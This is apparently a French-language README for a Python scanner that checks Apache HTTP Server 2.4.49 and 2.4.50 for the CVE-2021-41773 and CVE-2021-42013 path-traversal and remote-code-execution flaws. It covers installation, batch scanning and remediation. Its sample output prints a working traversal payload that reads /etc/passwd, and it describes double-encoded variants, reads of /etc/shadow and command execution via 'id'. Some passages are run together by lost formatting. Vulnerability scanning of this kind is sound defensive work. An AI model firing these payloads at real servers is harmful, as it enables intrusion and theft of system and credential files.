
Scanner basé sur Python pour détecter les vulnérabilités de traversée de chemin et d'exécution de code à distance CVE-2021-41773 et CVE-2021-42013 dans les versions 2.4.49 et 2.4.50 du serveur HTTP Apache.
Un scanner de vulnérabilités complet en Python pour détecter les failles CVE-2021-41773 et CVE-2021-42013 de traversée de chemin et d'exécution de code à distance dans les versions 2.4.49 et 2.4.50 du serveur HTTP Apache.
CVE-2021-41773 et CVE-2021-42013 sont des vulnérabilités critiques affectant le serveur HTTP Apache qui permettent à un attaquant de :
Ces vulnérabilités ont été largement médiatisées en octobre 2021 et ont été activement exploitées dans la nature.
.%2e) de contourner les restrictions de répertoire/etc/passwd, exécution de commandes arbitraires si mod_cgi est activé%%32%65)✅ Détection des deux CVE : Teste à la fois CVE-2021-41773 et CVE-2021-42013 ✅ Test de traversée de chemin : Plusieurs variations de payload pour tenter d'accéder aux fichiers ✅ Test RCE : Vérification d'exécution de code à distance si mod_cgi est activé ✅ Scan par lots : Scanne plusieurs cibles à partir d'un fichier ✅ Sortie colorée : Résultats formatés faciles à lire ✅ Timeout personnalisable : Délai d'attente ajustable pour les réseaux instables ✅ Spoofing User-Agent : Contourne les mécanismes de filtrage basiques
requestscoloramahttps://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
Ou manuellement :
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
| Argument | Court | Type | Description |
|---|---|---|---|
--url | -u | CHAÎNE | URL cible (ex : http://example.com) |
--list | -l | FICHIER | Fichier contenant la liste des cibles (une par ligne) |
--timeout | -t | ENTIER | Délai d'attente de la requête en secondes (défaut : 10) |
python3 cve_scanner.py -u http://192.168.1.100
Créez targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
Puis exécutez :
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
Le scanner fournit une sortie détaillée incluant :
Exemple de sortie :
============================================================
Scanner de vulnérabilités CVE-2021-41773 / CVE-2021-42013
============================================================
[*] Cible : http://192.168.1.100
[*] Test de CVE-2021-41773 (Apache 2.4.49)...
[+] VULNÉRABLE à CVE-2021-41773 !
[+] Payload : /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Réponse :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Résumé du scan
============================================================
[!] La cible est VULNÉRABLE !
[!] Correction immédiate requise !
[*] Recommandation : Mettre à niveau vers Apache HTTP Server 2.4.51 ou ultérieur
============================================================
.%2e)/cgi-bin/, /icons/, /images//etc/passwd et /etc/shadow%%32%65)id pour vérifier l'exécution de codeuid= et gid= dans la réponseLe scanner recherche :
root: ou daemon: de /etc/passwduid= et gid= de l'exécution de la commande id<Directory />
Require all denied
</Directory>
# Restreindre l'accès aux répertoires sensibles
<Directory /cgi-bin>
Require all denied
</Directory>
# Désactiver les liens symboliques si non nécessaires
Options -FollowSymLinks
# Activer les en-têtes de sécurité
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Vérifier la version d'Apache
apache2 -v
httpd -v
| Version | Statut | Action |
|---|---|---|
| 2.4.49 | ❌ Vulnérable | Mettre à niveau immédiatement |
| 2.4.50 | ⚠️ Partiellement patché | Mettre à niveau vers 2.4.51+ |
| 2.4.51+ | ✅ Patché | Aucune action nécessaire |
⚠️ IMPORTANT : Cet outil est destiné UNIQUEMENT aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est ILLÉGAL en vertu de lois telles que le Computer Fraud and Abuse Act (CFAA) et d'autres législations similaires dans le monde.
Utilisation autorisée uniquement :
Avertissement sur le mésusage : Les utilisateurs sont responsables de s'assurer qu'ils disposent d'une autorisation explicite avant de tester toute cible. Les auteurs déclinent toute responsabilité en cas d'utilisation non autorisée.
Ce scanner est idéal pour :
.
├── cve_scanner.py # Script principal du scanner
├── requirements.txt # Dépendances Python
├── README.md # Ce fichier
├── targets.txt # Exemple de liste de cibles
└── LICENSE # Informations sur la licence
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
Solution : Augmentez le timeout avec l'option -t
python3 cve_scanner.py -u http://target.com -t 30
Solution : Le script désactive la vérification SSL par défaut. Si le problème persiste, assurez-vous que les certificats Python sont à jour :
pip3 install --upgrade certifi
Solution : Assurez-vous que toutes les dépendances sont installées
pip3 install -r requirements.txt
Solution : Rendez le script exécutable
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l avec un fichier de cibles pour plusieurs scansLes contributions sont les bienvenues ! Pour contribuer :
git checkout -b feature/amelioration)git commit -m 'Ajouter une amélioration')git push origin feature/amelioration)Veuillez vous assurer que :
Ce projet est sous licence MIT. Voir le fichier LICENSE pour les détails.
Outil de test de sécurité
Créé à des fins éducatives et de tests de sécurité autorisés.
Pour toute question, problème ou suggestion, veuillez ouvrir une issue sur GitHub.
Dernière mise à jour : Novembre 2025
Statut : Développement actif
Testé sur : Python 3.8+, Apache 2.4.49, 2.4.50